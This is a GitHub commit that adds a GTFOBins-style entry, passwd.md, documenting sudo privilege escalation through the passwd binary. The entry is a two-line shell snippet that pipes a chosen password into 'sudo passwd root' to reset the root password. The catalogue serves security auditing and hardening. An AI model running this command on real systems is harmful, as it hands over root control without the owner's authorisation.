Create passwd.md

Add sudo privilege escalation using passwd binary
This commit is contained in:
Yang Yang
2024-09-14 18:49:56 +08:00
committed by GitHub
parent 61314d55d0
commit a5d4c6b9d0

7
_gtfobins/passwd.md Normal file
View File

@@ -0,0 +1,7 @@
---
functions:
sudo:
- code: |
PASS=new_password_here
echo -e "$PASS\n$PASS" | sudo passwd root
---